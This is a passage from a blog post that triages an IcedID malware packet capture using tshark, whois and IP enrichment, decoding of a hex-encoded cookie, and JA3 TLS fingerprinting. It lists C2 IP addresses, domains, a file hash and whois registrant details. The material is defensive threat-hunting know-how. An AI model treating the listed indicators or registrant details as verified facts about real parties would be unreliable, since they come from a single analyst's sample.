edgeassetservice.azureedge.net  13.107.246.51,13.107.213.51
metrics-a.wbx2.com              170.72.231.161,170.72.231.10,170.72.231.0
podiumstrtss.com                172.67.140.91,104.21.54.162
pokerstorstool.com              128.199.151.179
sb.scorecardresearch.com        108.156.91.120,108.156.91.127,108.156.91.40,108.156.91.129
smakizelkopp.com                193.109.120.27
</code></pre></div></div>
<p><em>Note: It is quite common for domains to resolve to multiple IP addresses, applications will attempt them in order if one does not respond as expected.</em></p>

<p>It looks like there are some overlap between the domains and previously identified IP addresses.</p>

<table>
  <thead>
    <tr>
      <th>IP Address</th>
      <th>Hostname</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>193.109.120.27</td>
      <td>smakizelkopp.com</td>
    </tr>
    <tr>
      <td>128.199.151.179</td>
      <td>pokerstorstool.com</td>
    </tr>
  </tbody>
</table>

<p>We also now have the IP address that was linked to <code class="language-plaintext highlighter-rouge">sta9rt4[.]store</code>, which we can enrich further with the <code class="language-plaintext highlighter-rouge">ip_enricher.py</code> script from earlier.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ./enrich_ip.py <span class="nt">--token</span> 0000000000 <span class="nt">-i</span> 81.177.140.194
</code></pre></div></div>

<table>
  <thead>
    <tr>
      <th>IP Address</th>
      <th>Organization</th>
      <th>City</th>
      <th>Country</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>81.177.140.194</td>
      <td>AS8342 JSC RTComm.RU</td>
      <td>Moscow</td>
      <td>Russia</td>
    </tr>
  </tbody>
</table>

<p>Whilst the uncommon TLD was a moderately weak signal, we can take this a step further and pivot on the AS<sup id="fnref:6" role="doc-noteref"><a href="#fn:6" class="footnote" rel="footnote">6</a></sup> Organization.</p>

<p>Taking the numerical value from the <strong>A</strong>utonomous <strong>S</strong>ystem, to lookup the details at <a href="https://urlhaus.abuse.ch/asn/8342/">urlhaus.abuse.ch/asn/8342</a></p>

<div align="center" style="border: thin solid black">
  <img src="/assets/img/mta/iced_pcap_triage_analysis/Screenshot_2023-09-25_at_21-45-16_URLhaus_8342.png" />
</div>
<p><em>Screenshot from https://urlhaus.abuse.ch/asn/8342 taken 2023-09-25</em></p>

<p>It looks like this hosting Organization has hosted 2054 malicious domains previously and has had a fairly slow response time to taking them down.
That certainly has strengthened the domain <code class="language-plaintext highlighter-rouge">sta9rt4[.]store</code> indicator’s signal as likely being malicious.</p>

<p>Before continuing on with the analysis, lets summarize the entities we’ve extracted so far:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">81[.]177[.]140[.]194</code></li>
  <li><code class="language-plaintext highlighter-rouge">193[.]109[.]120[.]27</code></li>
  <li><code class="language-plaintext highlighter-rouge">128[.]199[.]151[.]179</code></li>
  <li><code class="language-plaintext highlighter-rouge">137[.]184[.]172[.]23</code></li>
  <li><code class="language-plaintext highlighter-rouge">smakizelkopp[.]com</code></li>
  <li><code class="language-plaintext highlighter-rouge">pokerstorstool[.]com</code></li>
  <li><code class="language-plaintext highlighter-rouge">sta9rt4[.]store</code></li>
</ul>

<h3 id="domain-enrichment">Domain Enrichment</h3>

<p>Now we have some more data, its time to enrich to find out more.
For domains, we can query <code class="language-plaintext highlighter-rouge">whois</code> databases to find out more.</p>

<p>As we might end up with more, I wrote another script to help out.
You can find a copy of <code class="language-plaintext highlighter-rouge">enrich_domain.py</code> <a href="https://github.com/0xtechevo/icedid_pcap_triage_analysis/blob/main/scripts/enrich_domain.py">here</a>
It has similar syntax to <code class="language-plaintext highlighter-rouge">enrich_ip.py</code> and can be used with a singular domain or be provided a list of domains via a file.</p>

<p><em>Note: Domains must be in an unsafe, fanged state for the script.</em></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ./enrich_domain.py <span class="nt">-f</span> domains.txt
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>smakizelkopp.com
	Creation: 2023-08-02 19:47:21
	Expiration: 2024-08-02 19:47:21
	Name: Slevin Toler
	Email: abuse@namesilo.com, skafertommy@outlook.com
	Address: 9951 Clear Run, West Jefferson, NC, 27510, US

pokerstorstool.com
	Creation: 2023-04-19 16:57:42
	Expiration: 2024-04-19 16:57:42
	Name: Wainwright Nordstrom
	Email: abuse@namecheap.com, wowasi5367@raotus.com
	Address: 7007 Silver Bear Carrefour, Westbriar, 3, 86777-1051, AF
</code></pre></div></div>

<p>Whilst there is nothing intrinsically linking the two domains, we have gathered some interesting information we can store and pivot on later.</p>

<p>The third domain, <code class="language-plaintext highlighter-rouge">sta9rt4[.]store</code> does not have any publicly accessible <code class="language-plaintext highlighter-rouge">whois</code> information available.</p>

<hr />

<h2 id="http">HTTP</h2>

<p>During the protocol hierarchy analysis a small amount of HTTP traffic was detected.
These days where most traffic is covered underneath TLS (SSL) encryption, seeing plain HTTP traffic is becoming somewhat rare.</p>

<p>Given it is such a small amount of the overall traffic lets take a deeper look into it.</p>

<p>We can continue to explore <code class="language-plaintext highlighter-rouge">tshark</code><sup id="fnref:3:1" role="doc-noteref"><a href="#fn:3" class="footnote" rel="footnote">3</a></sup> statistics features using the <code class="language-plaintext highlighter-rouge">-z http,tree</code> option.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-2</span> <span class="nt">-n</span> <span class="nt">-z</span> http,tree <span class="nt">-q</span> <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap
</code></pre></div></div>

<p>This generates the following table with plenty of detail.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>=======================================================================================================================================
HTTP/Packet Counter:
Topic / Item            Count         Average       Min val       Max val       Rate (ms)     Percent       Burst rate    Burst start  
---------------------------------------------------------------------------------------------------------------------------------------
Total HTTP Packets      16                                                      0.0000        100%          0.0200        0.137        
 HTTP Request Packets   13                                                      0.0000        81.25%        0.0100        0.137        
  SEARCH                10                                                      0.0000        76.92%        0.0100        6457.028     
  GET                   3                                                       0.0000        23.08%        0.0100        0.137        
 HTTP Response Packets  3                                                       0.0000        18.75%        0.0100        0.204        
  2xx: Success          3                                                       0.0000        100.00%       0.0100        0.204        
   200 OK               3                                                       0.0000        100.00%       0.0100        0.204        
  ???: broken           0                                                       0.0000        0.00%         -             -            
  5xx: Server Error     0                                                       0.0000        0.00%         -             -            
  4xx: Client Error     0                                                       0.0000        0.00%         -             -            
  3xx: Redirection      0                                                       0.0000        0.00%         -             -            
  1xx: Informational    0                                                       0.0000        0.00%         -             -            
 Other HTTP Packets     0                                                       0.0000        0.00%         -             -            

---------------------------------------------------------------------------------------------------------------------------------------
</code></pre></div></div>

<p>Starting with the <code class="language-plaintext highlighter-rouge">HTTP Request Packets</code> we have both <code class="language-plaintext highlighter-rouge">GET</code> and <code class="language-plaintext highlighter-rouge">SEARCH</code>, generally with malware we are interesting in <code class="language-plaintext highlighter-rouge">GET</code> and <code class="language-plaintext highlighter-rouge">POST</code> requests.
From those three <code class="language-plaintext highlighter-rouge">GET</code> requests we also have three responses with the code <code class="language-plaintext highlighter-rouge">200 OK</code>, indicting resources were available and returned.</p>

<p>Parsing out some of the key fields using the following command we should start to be able to determine the purpose of the requests.</p>

<p><br />
<em>Note: The output below will be in CSV format, if you would like a header generated change <strong>‘-E header=n’</strong> to <strong>‘-E header=y’</strong></em></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-2</span> <span class="nt">-n</span> <span class="nt">-Y</span> <span class="s1">'http.request.method == GET'</span> <span class="nt">-T</span> fields <span class="nt">-e</span> ip.dst <span class="nt">-e</span> tcp.dstport <span class="nt">-e</span> http.request.method <span class="nt">-e</span> http.request.uri <span class="se">\</span>
  <span class="nt">-e</span> http.request.version <span class="nt">-e</span> http.user_agent <span class="nt">-e</span> http.host <span class="nt">-E</span> <span class="nv">header</span><span class="o">=</span>n <span class="nt">-E</span> <span class="nv">separator</span><span class="o">=</span>, <span class="nt">-q</span> <span class="se">\</span>
  <span class="nt">-r</span> ../2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap <span class="o">&gt;</span> http.csv
</code></pre></div></div>

<p>Keen analysts amongst you may have noticed the inclusion of the <code class="language-plaintext highlighter-rouge">http.host</code> field.
This field is used by web servers to direct the request towards the correct virtual server or backend.</p>

<p>This feature can be abused using a technique called Domain Fronting, however it is also going to allow us to 
reduce the dataset by allowing us to filter out uninteresting domains.</p>

<p>We can use the <code class="language-plaintext highlighter-rouge">domain_filter.txt</code> list from the previous section as shown.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">grep</span> <span class="nt">-v</span> <span class="nt">-f</span> domain_filter.txt http.csv
</code></pre></div></div>

<p>This leaves us with one HTTP request which I have formatted into the following table.</p>

<table>
  <thead>
    <tr>
      <th>Field</th>
      <th>Value</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>ip.dst</td>
      <td>172.67.140.91</td>
    </tr>
    <tr>
      <td>ip.dstport</td>
      <td>80</td>
    </tr>
    <tr>
      <td>http.request.method</td>
      <td>GET</td>
    </tr>
    <tr>
      <td>http.request.uri</td>
      <td>/</td>
    </tr>
    <tr>
      <td>http.request.version</td>
      <td>HTTP/1.1</td>
    </tr>
    <tr>
      <td>http.user_agent</td>
      <td> </td>
    </tr>
    <tr>
      <td>http.host</td>
      <td>podiumstrtss.com</td>
    </tr>
    <tr>
      <td>http.cookie</td>
      <td>__gads=4165079571:1:846:131; _gat=10.0.19045.64; _ga=1.591597.1635208534.1040; _u=4445534B544F502D34565A46525350:75736572313031:39414231333532444136393736323546; __io=21_3625792553_1955020779_2750360736; _gid=0078B91C290D</td>
    </tr>
  </tbody>
</table>

<p>Lets dissect the fields in order.</p>

<p>The <code class="language-plaintext highlighter-rouge">ip.dst</code> field provides us another IP address we can enrich further and <code class="language-plaintext highlighter-rouge">ip.dstport</code> shows the web server is running on the standard <code class="language-plaintext highlighter-rouge">HTTP</code> port.</p>

<p>Using the <code class="language-plaintext highlighter-rouge">ip_enricher.py</code> script, <a href="https://ipinfo.io">ipinfo.io</a> informs us that this IP address belongs to Cloudflare, one of the largest CDN providers on the internet. Traffic destined to this IP address, with then <code class="language-plaintext highlighter-rouge">HTTP</code> <code class="language-plaintext highlighter-rouge">Host</code> header set, will have its traffic redirected to another server elsewhere.</p>

<table>
  <thead>
    <tr>
      <th>IP Address</th>
      <th>Organization</th>
      <th>City</th>
      <th>Country Name</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>172.67.140.91</td>
      <td>AS13335 Cloudflare, Inc.</td>
      <td>San Francisco</td>
      <td>United States</td>
    </tr>
  </tbody>
</table>

<p>The <code class="language-plaintext highlighter-rouge">http.request.method</code>, <code class="language-plaintext highlighter-rouge">http.request.uri</code> and <code class="language-plaintext highlighter-rouge">http.request.version</code> do not show anything of significant interest.</p>

<p>The blank <code class="language-plaintext highlighter-rouge">http.user_agent</code> is interesting, and I can’t think of an example before this where I have not seen the header specified.</p>

<p>The <code class="language-plaintext highlighter-rouge">http.host</code> may be of interest, and one we could cycle back around to look at in the DNS traffic.</p>

<p>We can also enrich the domain using the <code class="language-plaintext highlighter-rouge">enrich_domain.py</code> script.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ./enrich_domain.py <span class="nt">-d</span> podiumstrtss.com
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>podiumstrtss.com
	Creation: 2023-04-19 16:08:52
	Expiration: 2024-04-19 16:08:52
	Name: Dyfan Terwilliger
	Email: abuse@namecheap.com, ubzeso@mailto.plus
	Address: 7226 Burning Landing, Euphemia, 36, 44200-6463, AF
</code></pre></div></div>

<p>A few things stand out that could indicate some relation between two of the domains.</p>

<p><br />
Both <code class="language-plaintext highlighter-rouge">podiumstrtss[.]com</code> and <code class="language-plaintext highlighter-rouge">pokerstorstool[.]com</code> were registered within an hour of each other, with the same registrar.</p>

<p>The <code class="language-plaintext highlighter-rouge">Address</code> similarities are interesting and would need a larger sample set to prove anything, but humans are humans, and humans follow patterns.</p>

<table>
  <thead>
    <tr>
      <th> </th>
      <th>podiumstrtss.com</th>
      <th>pokerstorstool.com</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td><strong>Creation date</strong></td>
      <td>2023-04-19 16:08:52</td>
      <td>2023-04-19 16:57:42</td>
    </tr>
    <tr>
      <td><strong>Registrar</strong></td>
      <td>Namecheap</td>
      <td>Namecheap</td>
    </tr>
    <tr>
      <td><strong>Address</strong></td>
      <td><strong>7</strong>226 Burning Landing, <br />Euphemia, <strong>3</strong>6, <br />44200-6463, <strong>AF</strong></td>
      <td><strong>7</strong>007 Silver Bear Carrefour, <br />Westbriar, <strong>3</strong>, <br />86777-1051, <strong>AF</strong></td>
    </tr>
  </tbody>
</table>

<p>The <code class="language-plaintext highlighter-rouge">http.cookie</code> value does not obviously look out of place, HTTP cookies are standard practice however they can contain some important information if you are able to parse them.</p>

<p>The structure of cookies is complex, thankfully we can find out more about each parameter using <a href="https://cookiedatabase.org/">cookiedatabase.org</a>.</p>

<p>Taking <code class="language-plaintext highlighter-rouge">__gads</code> and <code class="language-plaintext highlighter-rouge">_gat</code> as examples, they both relate to Google statistics and analytics.</p>

<p><br />
The value assigned to <code class="language-plaintext highlighter-rouge">_gat</code> might look familiar if you look closely enough: <code class="language-plaintext highlighter-rouge">_gat=10.0.19045.64;</code>.</p>

<p>If you have looked at Windows version strings enough as part of either system administration or threat analysis you might notice that the value <code class="language-plaintext highlighter-rouge">10.0.19045</code> is the Windows version string for <code class="language-plaintext highlighter-rouge">Windows 10 Version 22H2</code><sup id="fnref:7" role="doc-noteref"><a href="#fn:7" class="footnote" rel="footnote">7</a></sup>, and we can probably hazard a guess that the <code class="language-plaintext highlighter-rouge">64</code> refers to a 64 bit installation.</p>

<p>Looking up the rest of the cookie parameters they all seem to be legitimately used somewhere for something.
All of them, but one that is.</p>

<p>The <code class="language-plaintext highlighter-rouge">_u</code> parameter does not exist in the database, it could be new and undocumented, or it might be worth investigating more.</p>

<p><em>Hint: We’re going to look at it more.</em></p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">_u</span><span class="o">=</span>4445534B544F502D34565A46525350:75736572313031:39414231333532444136393736323546<span class="p">;</span>
</code></pre></div></div>

<p>From looking at the values used its safe to assume that the data is hexadecimal encoded, with a <code class="language-plaintext highlighter-rouge">:</code> colon delimiter.</p>

<p>There are many tools we can use to convert hex values into ASCII. 
As I’ll likely want to automate some analysis further, we can experiment with some Python one liners, using the <code class="language-plaintext highlighter-rouge">binascii</code> module.</p>

<p>Taking the above values</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 <span class="nt">-c</span> <span class="s1">'import binascii; print(binascii.unhexlify("4445534B544F502D34565A46525350").decode())'</span>
DESKTOP-4VZFRSP

<span class="nv">$ </span>python3 <span class="nt">-c</span> <span class="s1">'import binascii; print(binascii.unhexlify("75736572313031").decode())'</span>
user101

python3 <span class="nt">-c</span> <span class="s1">'import binascii; print(binascii.unhexlify("39414231333532444136393736323546").decode())'</span>
9AB1352DA697625F
</code></pre></div></div>

<p>Voilà, it appears we have a hostname: <code class="language-plaintext highlighter-rouge">DESKTOP-4VZFRSP</code>, a username: <code class="language-plaintext highlighter-rouge">user101</code> and a mystery value: <code class="language-plaintext highlighter-rouge">9AB1352DA697625F</code></p>

<p>It’s not clear what the mystery value relates to without understanding the environment the sample was executing in.</p>

<p>As it appeared with the hostname of the machine and a username, perhaps its an instance ID or some kind of unique identifier used by some malware…</p>

<p>Earlier we generated a summary of source / destination conversations and stored it in <code class="language-plaintext highlighter-rouge">src_dst_conversations.txt</code>.</p>

<p>We can review the conversations regarding our new IP address using the <code class="language-plaintext highlighter-rouge">sed</code> command as shown.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sed</span> <span class="nt">-n</span> <span class="s1">'4,5p;  /172.67.140.91/{p}'</span> src_dst_conversations.txt

                                               |       &lt;-      | |       -&gt;      | |     Total     |    Relative    |   Duration   |
                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
10.8.9.95            &lt;-&gt; 172.67.140.91            436    576325     132      7437     568    583762    14.904654000       109.9738
</code></pre></div></div>
<p><em>Note: prints lines 4 through to 5, the searches for lines that contain 172.67.140.91 and <strong>p</strong>rints the line</em></p>

<p><br />
This shows almost 58KB of data downloaded from the endpoint.</p>

<p>As this is HTTP we should be able to also export the downloaded data as a reassembled “object”.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap <span class="nt">-q</span> <span class="nt">-2</span> <span class="nt">-R</span> <span class="s1">'ip.src==172.67.140.91'</span> <span class="nt">--export-objects</span> http,http_output
</code></pre></div></div>
<p><em>Note: This command sets a <strong>R</strong>ead filter for the host IP address, and exports the HTTP data into a directory called <code class="language-plaintext highlighter-rouge">http_output</code></em></p>

<p><br />
This extracts one file, which should be named <code class="language-plaintext highlighter-rouge">%2f</code> in the <code class="language-plaintext highlighter-rouge">http_output</code> directory, with the SHA1 hash of <code class="language-plaintext highlighter-rouge">36ab6e37ad59706cc03d2a17ed92d255a71b7618</code>.</p>

<p>A quick examination of the file shows it is a GZIP compressed file with an original name of <code class="language-plaintext highlighter-rouge">Light.txt</code>.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>file %2f 

%2f: <span class="nb">gzip </span>compressed data, was <span class="s2">"Light.txt"</span>, from FAT filesystem <span class="o">(</span>MS-DOS, OS/2, NT<span class="o">)</span>, original size modulo 2^32 3601146
</code></pre></div></div>

<p>Ordinarily we would usually then use either <code class="language-plaintext highlighter-rouge">zcat</code>, <code class="language-plaintext highlighter-rouge">gzip -d</code> or <code class="language-plaintext highlighter-rouge">gunzip</code> to then decompress the file.
This sample however appears to be corrupt and does not extract as expected.</p>

<hr />

<h2 id="tls">TLS</h2>

<p>Our final protocol to dissect is <strong>T</strong>ransport <strong>L</strong>ayer <strong>S</strong>ecurity, TLS.</p>

<p>TLS provides a protocol to allow two endpoints to securely communicate using a variety of encryption algorithms.
Many protocols can be wrapped within a TLS tunnel, the most common is probably HTTP, which is commonly referred to as HTTPS.</p>

<h3 id="clients">Clients</h3>

<p>Like many other protocols there is a handshake initiated by the client with what’s called a <code class="language-plaintext highlighter-rouge">Client Hello</code>  handshake.
Within this initial packet, the client will provide several pieces of information including but not limited to:</p>

<ul>
  <li>Server Name Identifier (SNI)</li>
  <li>Cipher Suites</li>
</ul>

<p>The <strong>S</strong>erver <strong>N</strong>ame <strong>I</strong>dentifier works in a similar way to the <code class="language-plaintext highlighter-rouge">Host</code> header in <code class="language-plaintext highlighter-rouge">HTTP</code>, it provides the domain name the client is expecting to communicate to.</p>

<p>The <code class="language-plaintext highlighter-rouge">Cipher Suites</code> section provides an ordered list of cryptographic protocols that the client supports.
This list is then enumerated and if the server finds one it can also use, this will be selected. More on this later.</p>

<p>We can view the <code class="language-plaintext highlighter-rouge">TLS Client Hello</code> details using the following <code class="language-plaintext highlighter-rouge">tshark</code> command.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap <span class="nt">-q</span> <span class="nt">-2</span> <span class="nt">-R</span> <span class="s1">'tls.handshake.type==1'</span> <span class="se">\</span>
  <span class="nt">-T</span> fields <span class="nt">-e</span> ip.dst <span class="nt">-e</span> <span class="s1">'tls.handshake.extensions_server_name'</span> <span class="nt">-e</span> <span class="s1">'tls.handshake.ciphersuite'</span>  <span class="se">\</span>
  <span class="o">&gt;</span> tls_client_hello.txt
</code></pre></div></div>

<p>To view the cipher suites of domains we might be interested in, we can use <code class="language-plaintext highlighter-rouge">grep</code> to filter out known good domains.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-f</span> domain_filter.txt tls_client_hello.txt 
</code></pre></div></div>

<p><br />
As I eluded to, this list of cipher suites is ordered. The order is generated typically by the library functions in use by an application.
It is of course possible for clients to specify a preferred list of cipher suites itself, overriding the default values.</p>

<p>Whilst dealing with lists of numerical hexadecimal values works on a small scale, there is in fact a standard approach to fingerprinting cipher suites.
This technique is known as the <code class="language-plaintext highlighter-rouge">JA3 Hash</code> and was developed by Salesforce.
This technique summarizes various fields into an <code class="language-plaintext highlighter-rouge">MD5</code> hash digest.</p>

<p>This algorithm has been ported over to common network monitoring suites and thankfully a Python script<sup id="fnref:8" role="doc-noteref"><a href="#fn:8" class="footnote" rel="footnote">8</a></sup>.</p>

<p>We can generate a <code class="language-plaintext highlighter-rouge">JA3</code> hash for each <code class="language-plaintext highlighter-rouge">TLS Client Hello</code> packet as shown.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>python3 ja3.py ../2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap <span class="o">&gt;</span> tls_client_hello_ja3.json
</code></pre></div></div>

<p>Just to make the output a little easier to work with use the following commands to create a new file <code class="language-plaintext highlighter-rouge">tls_client_hello_ja3.txt</code></p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">cat </span>tls_client_hello_ja3.json 
  | jq <span class="s1">'.[] | [.destination_ip, .ja3_digest]'</span> <span class="se">\</span>
  | jq <span class="nt">-c</span> <span class="s1">'.'</span> <span class="se">\</span>
  | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/\[\"//g'</span> <span class="nt">-e</span> <span class="s1">'s/\",\"/,/'</span> <span class="nt">-e</span> <span class="s1">'s/\"]//'</span> <span class="o">&gt;</span> tls_client_hello_ja3.txt
</code></pre></div></div>

<p><br />
If we filter for IP addresses of interest we have gathered along the way, found in <code class="language-plaintext highlighter-rouge">ips.txt</code> we can see what JA3 hash was used by the client.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-F</span> <span class="nt">-f</span> ips.txt tls_client_hello_ja3.txt | <span class="nb">sort</span> | <span class="nb">uniq</span> <span class="nt">-c</span>
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 43 128.199.151.179,a0e9f5d64349fb13191bc781f81f42e1
  4 193.109.120.27,a0e9f5d64349fb13191bc781f81f42e1
  1 81.177.140.194,3b5074b1b5d032e5620f69f9f700ff0e
</code></pre></div></div>

<p>Both IP address were connected to with the same JA3 hash <code class="language-plaintext highlighter-rouge">a0e9f5d64349fb13191bc781f81f42e1</code>.</p>

<p>We can pivot from the JA3 hash value back to also see what IP addresses were also contacted.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-F</span> <span class="nt">-e</span> <span class="s1">'a0e9f5d64349fb13191bc781f81f42e1'</span> tls_client_hello_ja3.txt | <span class="nb">cut</span> <span class="nt">-f</span> 1 <span class="nt">-d</span> <span class="s1">','</span> | <span class="nb">sort</span> | <span class="nb">uniq</span> <span class="nt">-c</span> | <span class="nb">sort</span> <span class="nt">-nr</span>
</code></pre></div></div>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 43 128.199.151.179
  4 193.109.120.27
  1 18.64.183.33
  1 170.72.231.161
  1 170.72.231.0
</code></pre></div></div>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">grep</span> <span class="nt">-F</span> <span class="nt">-e</span> <span class="s1">'3b5074b1b5d032e5620f69f9f700ff0e'</span> tls_client_hello_ja3.txt | <span class="nb">cut</span> <span class="nt">-f</span> 1 <span class="nt">-d</span> <span class="s1">','</span> | <span class="nb">sort</span> | <span class="nb">uniq</span> <span class="nt">-c</span> | <span class="nb">sort</span> <span class="nt">-nr</span>
</code></pre></div></div>

<p><br />
Interestingly this JA3 hash was also used to connect to <code class="language-plaintext highlighter-rouge">77[.]111[.]240[.]213</code> (<code class="language-plaintext highlighter-rouge">associazionedignita[.]it</code>), so might also be another lead to follow.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>  1 81.177.140.194
  1 77.111.240.213
</code></pre></div></div>

<p>Going back and forth and seeing how entities link together provides you with some relevant data you might be able to apply to a much larger data set.
This is a very basic form of threat hunting, congratulations you’re a threat hunter now.</p>

<p><br /></p>

<p>One last exercise to the reader, there is also <code class="language-plaintext highlighter-rouge">JA3S</code> which combines the client hash worth details from the <code class="language-plaintext highlighter-rouge">Server Hello</code> packet which again can be processed as shown with the clients.
Pivoting around on that data point may also reveal more potential C2 servers.</p>

<h3 id="servers">Servers</h3>

<p>Just like the <code class="language-plaintext highlighter-rouge">TLS Client Hello</code> the server side responds in kind with a <code class="language-plaintext highlighter-rouge">TLS Server Hello</code>.
The <code class="language-plaintext highlighter-rouge">Server Hello</code> contains many fields, in essence it allows the two peers in the connection to establish trust and decide on cryptographic parameters to secure the conversation.</p>

<p>As part of this exchange the Server will return its own TLS certificate which we can examine further with the following command.</p>

<p>This command will filter for the <code class="language-plaintext highlighter-rouge">TLS Server Hello</code> packet in the handshake, print the server IP along with the UTF8Strings from the <strong>S</strong>elected <strong>A</strong>ttribute <strong>L</strong>ist which in this case is the certificate issuer. The final field displayed is taken from the <code class="language-plaintext highlighter-rouge">X509af</code> (<strong>A</strong>uthentication <strong>F</strong>ramework) and displays utcTime entities, which in this case is the date the certificate was issued and when it will expire.</p>

<p>We are also using <code class="language-plaintext highlighter-rouge">grep</code> to filter for IP addresses we are interesting in, contained within the <code class="language-plaintext highlighter-rouge">ips.txt</code> file.</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>tshark <span class="nt">-r</span> 2023-08-09-IcedID-with-BackConnect-and-Keyhole-VNC.pcap  <span class="nt">-q</span> <span class="nt">-2</span> <span class="nt">-R</span> <span class="s2">"tls.handshake.type == 2"</span> <span class="se">\</span>
  <span class="nt">-T</span> fields <span class="nt">-e</span> <span class="s1">'ip.src'</span> <span class="nt">-e</span> <span class="s1">'x509sat.uTF8String'</span> <span class="nt">-e</span> <span class="s1">'x509af.utcTime'</span> | <span class="se">\</span>
  <span class="nb">sort</span> | <span class="nb">uniq</span> | <span class="nb">grep</span> <span class="nt">-f</span> ips.txt
</code></pre></div></div>

<p>The output from the above command can be quite large, so to help I have manually formatted the information into this table.</p>

<table>
  <thead>
    <tr>
      <th>Server IP</th>
      <th>Issuer</th>
      <th>Valid From</th>
      <th>Valid To</th>
    </tr>
  </thead>
  <tbody>
    <tr>
      <td>128.199.151.179</td>
      <td>localhost,<br />Some-State,<br />Internet Widgits Pty Ltd</td>
      <td>23-08-09 10:19:22 (UTC)</td>
      <td>24-08-08 10:19:22 (UTC)</td>
    </tr>
    <tr>
      <td>193.109.120.27</td>
      <td>localhost,<br />Some-State,<br />Internet Widgits Pty Ltd</td>
      <td>23-08-05 12:34:13 (UTC)</td>
      <td>24-08-04 12:34:13 (UTC)</td>
    </tr>
  </tbody>
</table>

<p>We discovered earlier, during the domain enrichment phase that one of the domains (<code class="language-plaintext highlighter-rouge">smakizelkopp[.]com</code>) which resolved to <code class="language-plaintext highlighter-rouge">193[.]109[.]120[.]27</code> was registered at <code class="language-plaintext highlighter-rouge">2023-08-02 19:47:21</code> a few days prior to the TLS certificate being created.</p>

<p>This helps us timeline potential infrastructure setup for a malicious actor and allow us to pivot for further activity in the time period.</p>

<p>We can tell this is a self signed certificate based on the <code class="language-plaintext highlighter-rouge">Internet Widgits Pty Ltd</code> string, this us a well known default identifier used in Certificate Signing Requests generated by <code class="language-plaintext highlighter-rouge">OpenSSL</code>.</p>

<p><br /></p>

<p>This pretty much ends our triage analysis for now, we have generated potential IOC’s we can search for in whatever data sets you have available, and also began to map the infrastructure being used for this campaign.</p>

<p>Although we started with quite an already filtered PCAP, hopefully parts of the methodology outlined can be adapted over time across larger data sets.</p>

<hr />

<h1 id="conclusion">Conclusion</h1>

<p>If you have made it all the way down to the end, I really appreciate it.</p>

<p>This blog post turned out a lot longer than I had originally planned, but I hope you learnt something or got an idea for some ways this process can be automated.</p>

<p>If you enjoyed it let me know, I plan to cover more varied topics in the future, not just PCAP so stay tuned.</p>

<p>Until next time, keep evolving…</p>

<p><a href="https://x.com/@techevo_">@techevo_</a></p>
<hr />

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:1" role="doc-endnote">
      <p><a href="https://www.malware-traffic-analysis.net/">https://www.malware-traffic-analysis.net/</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:2" role="doc-endnote">
      <p><a href="https://attack.mitre.org/software/S0483/">https://attack.mitre.org/software/S0483/</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:3" role="doc-endnote">
